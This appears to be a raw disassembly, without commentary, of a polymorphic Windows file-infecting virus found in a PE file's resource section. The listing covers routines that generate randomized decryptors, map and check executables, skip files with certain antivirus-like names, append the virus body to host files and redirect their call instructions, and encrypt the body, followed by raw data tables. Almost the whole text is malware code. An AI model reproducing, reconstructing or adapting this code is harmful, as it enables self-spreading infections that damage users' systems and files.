		lea	ecx, [edi-2]
		mov	ah, byte ptr ss:loc_403429[ebp]
		mov	dword ptr ss:loc_40398A[ebp], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_438EAA
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_438EAA:				; CODE XREF: .rsrc:00438EA1j
		test	dword ptr [ebp+403431h], 4000h
		mov	ax, 3166h
		jnz	short loc_438EBC
		mov	ah, 29h


loc_438EBC:				; CODE XREF: .rsrc:00438EB8j
		stosw
		mov	al, 18h
		or	al, [ebp+40342Bh]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr [ebp+403431h], 8000h
		jnz	short loc_438EDA
		mov	al, 86h


loc_438EDA:				; CODE XREF: .rsrc:00438ED6j
		mov	ah, byte ptr ss:loc_403429[ebp]
		stosw
		cmp	ah, 5
		jnz	short loc_438EEE
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_438EEE:				; CODE XREF: .rsrc:00438EE5j
		test	dword ptr [ebp+403431h], 10000h
		jnz	short loc_438F05
		mov	al, 40h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		jmp	short loc_438F14
; ---------------------------------------------------------------------------


loc_438F05:				; CODE XREF: .rsrc:00438EF8j
		mov	ax, 0C083h
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	al, 1
		stosb


loc_438F14:				; CODE XREF: .rsrc:00438F03j
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_438F4F
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_438F46
		mov	al, 0C0h
		or	al, [ebp+40342Bh]
		mov	ah, byte ptr ss:loc_403430[ebp]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_438F4E
; ---------------------------------------------------------------------------


loc_438F46:				; CODE XREF: .rsrc:00438F2Aj
		mov	al, 40h
		or	al, [ebp+40342Bh]


loc_438F4E:				; CODE XREF: .rsrc:00438F44j
		stosb


loc_438F4F:				; CODE XREF: .rsrc:00438F1Ej
		test	dword ptr [ebp+403431h], 80000h
		jnz	short loc_438F6B
		mov	ax, 0E883h
		or	ah, [ebp+40342Ah]
		stosw
		mov	al, 1
		jmp	short loc_438F73
; ---------------------------------------------------------------------------


loc_438F6B:				; CODE XREF: .rsrc:00438F59j
		mov	al, 48h
		or	al, [ebp+40342Ah]


loc_438F73:				; CODE XREF: .rsrc:00438F69j
		stosb
		test	dword ptr [ebp+403431h], 100000h
		mov	cl, 75h
		jnz	short loc_438FA7
		mov	ax, 0F883h
		or	ah, [ebp+40342Ah]
		stosw
		xor	eax, eax
		stosb
		sub	dword ptr ss:loc_40398A[ebp], edi
		test	dword ptr [ebp+403431h], 200000h
		jnz	short loc_438FC2
		mov	cl, 77h
		jmp	short loc_438FC2
; ---------------------------------------------------------------------------


loc_438FA7:				; CODE XREF: .rsrc:00438F80j
		mov	ax, 1809h
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		sub	dword ptr ss:loc_40398A[ebp], edi


loc_438FC2:				; CODE XREF: .rsrc:00438FA1j
					; .rsrc:00438FA5j
		mov	al, cl
		mov	ah, byte ptr ss:loc_40398A[ebp]
		stosw
		mov	al, 58h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_43906C
		mov	eax, 268B6467h
		mov	ecx, [ebp+403431h]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_439003
		mov	eax, 2E876467h


loc_439003:				; CODE XREF: .rsrc:00438FFCj
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_439013
		mov	ax, 0E58Bh
		stosw


loc_439013:				; CODE XREF: .rsrc:0043900Bj
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr [ebp+403431h], 1000000h
		jnz	short loc_439069
		test	dword ptr [ebp+403431h], 8000000h
		jz	short loc_43905B
		mov	ax, 6C8Dh
		test	dword ptr [ebp+403431h], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_439056
		mov	ax, 424h
		stosw
		jmp	short loc_439069
; ---------------------------------------------------------------------------


loc_439056:				; CODE XREF: .rsrc:0043904Cj
		mov	al, 8
		stosb
		jmp	short loc_439069
; ---------------------------------------------------------------------------


loc_43905B:				; CODE XREF: .rsrc:00439033j
		mov	ax, 5D58h
		add	al, [ebp+40342Bh]
		stosw
		jmp	short loc_43906C
; ---------------------------------------------------------------------------


loc_439069:				; CODE XREF: .rsrc:00439027j
					; .rsrc:00439054j ...
		mov	al, 0C9h
		stosb


loc_43906C:				; CODE XREF: .rsrc:00438FDFj
					; .rsrc:00439067j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_439098
		mov	al, 7
		sub	al, byte ptr ss:loc_403429[ebp]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, byte ptr ss:loc_403429[ebp]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_439098:				; CODE XREF: .rsrc:00439076j
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		test	dword ptr [ebp+403431h], 20h
		jz	short loc_439103
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_4390C9


loc_4390BC:				; CODE XREF: .rsrc:004390C7j
		test	edi, 3
		jz	short loc_4390C9
		mov	al, 90h
		stosb
		jmp	short loc_4390BC
; ---------------------------------------------------------------------------


loc_4390C9:				; CODE XREF: .rsrc:004390BAj
					; .rsrc:004390C2j
		mov	eax, edi
		mov	ecx, [ebp+403982h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr [ebp+403431h], 400000h
		jz	short loc_4390F7
		mov	ax, 0C350h
		or	al, byte ptr ss:loc_403429[ebp]
		jmp	short loc_439101
; ---------------------------------------------------------------------------


loc_4390F7:				; CODE XREF: .rsrc:004390E9j
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]


loc_439101:				; CODE XREF: .rsrc:004390F5j
		stosw


loc_439103:				; CODE XREF: .rsrc:004390AEj
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_439182
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_439128


loc_43911B:				; CODE XREF: .rsrc:00439126j
		test	edi, 3
		jz	short loc_439128
		mov	al, 90h
		stosb
		jmp	short loc_43911B
; ---------------------------------------------------------------------------


loc_439128:				; CODE XREF: .rsrc:00439119j
					; .rsrc:00439121j
		mov	ecx, edi
		mov	eax, [ebp+40399Ah]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+403431h], 800000h
		jnz	short loc_439151
		lea	eax, loc_403429[ebp]


loc_439149:				; CODE XREF: .rsrc:0043914Fj
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_439149


loc_439151:				; CODE XREF: .rsrc:00439141j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_439166
		mov	ax, 0C031h
		stosw


loc_439166:				; CODE XREF: .rsrc:0043915Ej
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_43917F
		mov	ax, 0C031h
		stosw


loc_43917F:				; CODE XREF: .rsrc:00439177j
		mov	al, 0C3h
		stosb


loc_439182:				; CODE XREF: .rsrc:0043910Dj
		lea	eax, locret_40343C[ebp]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_43919A
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_4391B3
; ---------------------------------------------------------------------------


loc_43919A:				; CODE XREF: .rsrc:00439192j
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, dword ptr ss:loc_4039A2[ebp]
		add	[ebp+403982h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_4391B3:				; CODE XREF: .rsrc:00439198j
		mov	dword ptr ss:(sub_401068+5)[ebp], edi
		mov	edi, [ebp+403986h]
		sub	eax, [ebp+403982h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4391D3
		neg	eax


loc_4391D3:				; CODE XREF: .rsrc:004391CFj
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4391D7	proc near		; CODE XREF: sub_439603+2A8p
		push	esi
		push	edi
		cmp	dword ptr ss:loc_4039AE[ebp], 0
		jz	loc_4393BF
		call	near ptr loc_4391F7+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_4391F7:				; CODE XREF: sub_4391D7+Fp
		add	bh, bh
sub_4391D7	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_438911
		mov	edx, ss:dword_4039A6[ebp]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_438911
		mov	edi, ss:dword_4039A6[ebp]
		push	esi
		call	sub_438911
		mov	edx, ss:dword_4039A6[ebp]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_4393BF
		jz	loc_4393BF
		add	esi, dword ptr ss:word_4039AA[ebp]
		add	esi, dword ptr ss:loc_403972[ebp]
; START	OF FUNCTION CHUNK FOR sub_439390


loc_439271:				; CODE XREF: sub_439390+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_43931C
		lea	eax, [esi+4]
		sub	eax, dword ptr ss:loc_403972[ebp]
		add	eax, [esi]
		push	eax
		call	sub_438911
		cmp	ss:dword_4039A6[ebp], 0
		jnz	short loc_43929F
		cmp	eax, [edi+0Ch]
		jnb	loc_4393B8
		jmp	short loc_4392AB
; ---------------------------------------------------------------------------


loc_43929F:				; CODE XREF: sub_439390-FEj
		cmp	ss:dword_4039A6[ebp], edx
		jnz	loc_4393B8


loc_4392AB:				; CODE XREF: sub_439390-F3j
		add	eax, dword ptr ss:loc_403972[ebp]
		cmp	word ptr [eax],	25FFh
		jnz	loc_4393B8
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_438911
		cmp	ss:dword_4039A6[ebp], edi
		jnz	loc_4393B8
		add	eax, dword ptr ss:word_4039AA[ebp]
		add	eax, dword ptr ss:loc_403972[ebp]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_4393B8
		cmp	eax, [edi+8]
		jnb	loc_4393B8


loc_4392F4:				; CODE XREF: sub_439390+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, dword ptr ss:loc_403972[ebp]
		push	edx
		push	eax
		push	dword ptr ss:loc_4039BE[ebp]
		call	dword ptr ss:sub_403548[ebp]
		pop	edx
		test	eax, eax
		jnz	loc_4393CE
		jmp	loc_4393B8
; ---------------------------------------------------------------------------


loc_43931C:				; CODE XREF: sub_439390-11Cj
		cmp	al, 0FFh
		jnz	loc_4393B8
		cmp	byte ptr [esi],	15h
		jnz	loc_4393B8
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_438911
		cmp	ss:dword_4039A6[ebp], edi
		jnz	short loc_4393B8
		add	eax, dword ptr ss:word_4039AA[ebp]
		add	eax, dword ptr ss:loc_403972[ebp]
		mov	dword ptr ss:loc_4039CA[ebp], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_439365
		cmp	eax, [ebp+4039C6h]
		jb	short loc_4393CE


loc_439365:				; CODE XREF: sub_439390-35j
		cmp	eax, 70000000h
		jb	short loc_4393A3
		call	sub_439390
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, dword ptr ss:loc_4039CA[ebp]
		jnz	short locret_43938F
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_4393AA
; ---------------------------------------------------------------------------

locret_43938F:				; CODE XREF: sub_439390-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_439390

; =============== S U B	R O U T	I N E =======================================



sub_439390	proc near		; CODE XREF: sub_439390-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 00439271 SIZE 0000011F BYTES

		pop	dword ptr ss:loc_403992[ebp]
		pusha
		mov	esi, dword ptr ss:loc_403972[ebp]
		call	sub_438A18
		popa


loc_4393A3:				; CODE XREF: sub_439390-26j
		test	eax, 80000000h
		jnz	short loc_4393B8


loc_4393AA:				; CODE XREF: sub_439390-3j
		sub	eax, [edi+0Ch]
		jb	short loc_4393B8
		cmp	eax, [edi+8]
		jb	loc_4392F4


loc_4393B8:				; CODE XREF: sub_439390-F9j
					; sub_439390-EBj ...
		dec	ecx
		jnz	loc_439271


loc_4393BF:				; CODE XREF: sub_4391D7+9j
					; .rsrc:00439259j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_43940A
; ---------------------------------------------------------------------------


loc_4393CE:				; CODE XREF: sub_439390-7Fj
					; sub_439390-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, dword ptr ss:loc_4039AE[ebp]
		lea	edi, [ecx+2435h]
		add	eax, dword ptr ss:loc_403972[ebp]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_43940A:				; CODE XREF: sub_439390+3Cj
		pop	edi
		pop	esi
		retn
sub_439390	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43940D	proc near		; CODE XREF: .rsrc:004395DBp
					; sub_439603+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr ss:loc_40357C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	locret_4394DE
		mov	dword ptr ss:loc_403952[ebp], eax
		push	0
		push	esi
		call	dword ptr ss:sub_4035B4[ebp]
		test	eax, eax
		jz	locret_4394DE
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_439996
		mov	dword ptr ss:loc_403956[ebp], eax
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr ss:sub_403584[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	loc_43998A
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_43998A
		mov	[ebp+40396Ah], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr ss:sub_403560[ebp]
		test	eax, eax
		jz	loc_43998A
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr ss:loc_4035A0[ebp]
		test	eax, eax
		jz	loc_439962
		mov	dword ptr ss:loc_403972[ebp], eax

locret_4394DE:				; CODE XREF: sub_43940D+10j
					; sub_43940D+27j ...
		retn
sub_43940D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4394DF	proc near		; CODE XREF: sub_439603+117p
					; sub_439603+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_4394F9
		add	eax, [ebp+40106Dh]


loc_4394F9:				; CODE XREF: sub_4394DF+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	dword ptr ss:loc_40397A[ebp], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+40106Dh]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+403976h], eax
		retn
sub_4394DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_439524	proc near		; CODE XREF: sub_439603:loc_439652p
					; sub_439603+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_439529:				; CODE XREF: sub_439524+23j
		jecxz	short locret_439560
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_439560
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_439529
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+40396Ah]

locret_439560:				; CODE XREF: sub_439524:loc_439529j
					; sub_439524+1Dj ...
		retn
sub_439524	endp


; =============== S U B	R O U T	I N E =======================================



sub_439561	proc near		; CODE XREF: .rsrc:004395EDp

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_439561	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_43956E:				; CODE XREF: .rsrc:0043958Fj
		mov	ecx, edi
		jmp	short loc_43957D
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_439579:				; CODE XREF: .rsrc:0043958Bj
		mov	ebx, edi
		xor	ecx, ecx


loc_43957D:				; CODE XREF: .rsrc:00439570j
					; .rsrc:00439593j
		lodsb
		cmp	al, 61h
		jb	short loc_439588
		cmp	al, 7Ah
		ja	short loc_439588
		sub	al, 20h


loc_439588:				; CODE XREF: .rsrc:00439580j
					; .rsrc:00439584j
		stosb
		cmp	al, 5Ch
		jz	short loc_439579
		cmp	al, 2Eh
		jz	short loc_43956E
		cmp	al, 0
		jnz	short loc_43957D
		jecxz	short locret_439560
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_4395AB
		cmp	eax, 524353h
		jnz	locret_4394DE


loc_4395AB:				; CODE XREF: .rsrc:0043959Ej
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_4394DE
		cmp	eax, 4E554357h
		jz	locret_4394DE
		cmp	eax, 32334357h
		jz	locret_4394DE
		cmp	eax, 4F545350h
		jz	locret_4394DE
		xor	ebx, ebx
		call	sub_43940D
		jz	locret_4394DE
		xor	edx, edx
		call	sub_439603
		call	sub_439561
		call	$+5
		pop	ebp
		sub	ebp, 402F8Ah
		jmp	loc_439940

; =============== S U B	R O U T	I N E =======================================



sub_439603	proc near		; CODE XREF: .rsrc:004395E8p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_439940
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_439940
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_439940
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_439940
		jecxz	short loc_439652
		cmp	ecx, 101h
		jbe	loc_439940


loc_439652:				; CODE XREF: sub_439603+41j
		call	sub_439524
		jb	loc_439940
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_43815C
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	byte ptr ss:loc_403430[ebp], dh


loc_43967C:				; CODE XREF: sub_439603+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_439697
		call	sub_43815C
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+403431h], edx
		jmp	short loc_43967C
; ---------------------------------------------------------------------------


loc_439697:				; CODE XREF: sub_439603+7Ej
					; sub_439603+CDj ...
		push	6
		pop	ecx


loc_43969D:				; CODE XREF: sub_439603+B8j
		push	6
		pop	eax
		call	sub_43815C
		mov	al, byte ptr ss:loc_403429[ebp]
		xchg	al, byte ptr loc_403429[edx+ebp]
		mov	byte ptr ss:loc_403429[ebp], al
		loop	loc_43969D
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_4396D2
		cmp	byte ptr [ebp+40342Bh],	1
		jz	short loc_439697


loc_4396D2:				; CODE XREF: sub_439603+C4j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_4396F9
		cmp	byte ptr ss:loc_403429[ebp], 5
		jz	short loc_439697
		cmp	byte ptr [ebp+40342Ah],	5
		jz	short loc_439697
		cmp	byte ptr [ebp+40342Bh],	5
		jz	short loc_439697


loc_4396F9:				; CODE XREF: sub_439603+D9j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_43970E
		cmp	byte ptr ss:loc_403429[ebp], 2
		ja	short loc_439697


loc_43970E:				; CODE XREF: sub_439603+100j
		and	dword ptr ss:loc_4039AE[ebp], 0
		call	loc_438BA9
		call	sub_4394DF
		call	sub_439949
		mov	ebx, [ebp+403976h]
		call	sub_43940D
		jz	loc_439940
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_439524
		jb	loc_439940
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_439776
		lea	esi, locret_40343C[ebp]
		mov	ecx, [ebp+40106Dh]
		rep movsb


loc_439776:				; CODE XREF: sub_439603+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, sub_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_43978A
		rep movsb


loc_43978A:				; CODE XREF: sub_439603+183j
		test	dword ptr [ebp+403431h], 10000000h
		jz	loc_439842
		push	dword ptr [ebx+28h]
		call	sub_438911
		mov	edx, ss:dword_4039A6[ebp]
		test	edx, edx
		jz	loc_439842
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_4397C7
		xor	ecx, ecx


loc_4397C7:				; CODE XREF: sub_439603+1C0j
		add	esi, [edx+14h]
		cmp	ecx, [ebp+40106Dh]
		mov	ecx, [ebp+40106Dh]
		jb	short loc_43982E
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+40106Dh], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+403986h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_439807
		neg	dword ptr [eax]


loc_439807:				; CODE XREF: sub_439603+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	dword ptr ss:loc_4039AE[ebp], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_439825
		neg	dword ptr [eax]


loc_439825:				; CODE XREF: sub_439603+21Ej
		push	ecx
		call	sub_4394DF
		pop	ecx
		jmp	short loc_43983A
; ---------------------------------------------------------------------------


loc_43982E:				; CODE XREF: sub_439603+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_43983A:				; CODE XREF: sub_439603+229j
		lea	esi, locret_40343C[ebp]
		rep movsb


loc_439842:				; CODE XREF: sub_439603+191j
					; sub_439603+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_43985B
		imul	edx, 12345678h


loc_43985B:				; CODE XREF: sub_439603+250j
		mov	[eax-1], dl
		call	sub_43782F
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_43988C
		mov	dword ptr ss:loc_4039AE[ebp], ecx
		add	eax, [ebp+40106Dh]
		and	dword ptr [edi+6Dh], 0


loc_43988C:				; CODE XREF: sub_439603+274j
		sub	eax, [ebx+28h]
		push	dword ptr ss:loc_40397E[ebp]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4398B1
		push	edx
		call	sub_4391D7
		pop	edx


loc_4398B1:				; CODE XREF: sub_439603+2A5j
		mov	ecx, dword ptr ss:loc_4039AE[ebp]
		jecxz	short loc_4398BC
		mov	[ebx+28h], ecx


loc_4398BC:				; CODE XREF: sub_439603+2B4j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+403976h]
		cmp	[edx+8], ecx
		jnb	short loc_4398CD
		mov	[edx+8], ecx


loc_4398CD:				; CODE XREF: sub_439603+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, dword ptr ss:loc_40397A[ebp]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr [ebp+403431h], 10000000h
		jz	short loc_4398FE
		add	ecx, [ebp+40106Dh]


loc_4398FE:				; CODE XREF: sub_439603+2F3j
		mov	dh, 0
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_439920
		inc	dh
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_439920
		mov	dh, byte ptr ss:loc_403430[ebp]


loc_439920:				; CODE XREF: sub_439603+307j
					; sub_439603+315j
		test	dword ptr [ebp+403431h], 4000h
		jnz	short loc_439937


loc_43992C:				; CODE XREF: sub_439603+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_43992C
		jmp	short loc_439940
; ---------------------------------------------------------------------------


loc_439937:				; CODE XREF: sub_439603+327j
					; sub_439603+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_439937


loc_439940:				; CODE XREF: .rsrc:004395FEj
					; sub_439603+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_439603	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439949	proc near		; CODE XREF: sub_439603+11Cp
		cmp	dword ptr ss:loc_403956[ebp], 0
		jz	locret_4394DE
		push	dword ptr ss:loc_403972[ebp]
		call	dword ptr [ebp+4035C4h]


loc_439962:				; CODE XREF: sub_43940D+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr ss:loc_4035B8[ebp]


loc_43998A:				; CODE XREF: sub_43940D+6Bj
					; sub_43940D+82j ...
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+40353Ch]


loc_439996:				; CODE XREF: sub_43940D+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr ss:loc_403952[ebp]
		push	esi
		call	dword ptr ss:sub_4035B4[ebp]
		and	dword ptr ss:loc_403956[ebp], 0
		retn
sub_439949	endp

; ---------------------------------------------------------------------------
		db 0E8h, 2 dup(0)
		dd 6A5D0000h, 49ED8101h, 58004033h, 85C10FF0h, 401580h
		dd 83C3C085h, 0FF0FFC8h, 158085C1h, 3DC30040h, 2A0010h
		dd 81661C75h, 6C0C247Ch, 60137571h, 0FFFFC4E8h,	0E80575FFh
		dd 0FFFFFB7Eh, 0FFFFD2E8h, 0FF2E61FFh, 3456782Dh, 25B812h
		dd 0E8600000h, 0FFFFFFA5h, 448B3975h, 0B58D3024h, 40384Eh
		dd 6608508Bh, 2063A81h,	68562573h, 0FF0000h, 6AC48Bh, 95FF5052h
		dd 4035F8h, 8108C483h, 3F3F5C3Eh, 8303755Ch, 2BE804C6h
		dd 0E8FFFFFBh, 0FFFFFF7Fh, 74B8C361h, 0EB000000h, 2FB8B1h
		dd 10E80000h, 0C2000000h, 30B80020h, 0E8000000h, 3, 8D0024C2h
		dd 0CD0C2454h, 0F8832Eh, 0E860197Ch, 0
; ---------------------------------------------------------------------------
		mov	edx, [esp+30h]
		pop	ebp
		mov	ebx, [edx]
		sub	ebp, offset loc_403413
		call	sub_437FCB
		popa
		retn	4
; ---------------------------------------------------------------------------
		dw 102h
		dd 5060703h, 100C9C8h, 15FF6F61h, 1001194h, 90h, 3Fh dup(0)
		dd 809B4700h, 8308AD7Ch, 9103317Ch, 80ADA07Ch, 7Ch, 2 dup(0)
		dd 80BDB600h, 801A247Ch, 80945C7Ch, 8023677Ch, 81042C7Ch
		dd 8106377Ch, 864B0F7Ch, 80C0587Ch, 80E7EC7Ch, 81153C7Ch
		dd 810A777Ch, 831C457Ch, 80B6A17Ch, 8608FF7Ch, 835DCA7Ch
		dd 8111DA7Ch, 812ADE7Ch, 801D777Ch, 80B9057Ch, 80BB767Ch
		dd 8309E17Ch, 863DE57Ch, 863F587Ch, 8127827Ch, 831CB87Ch
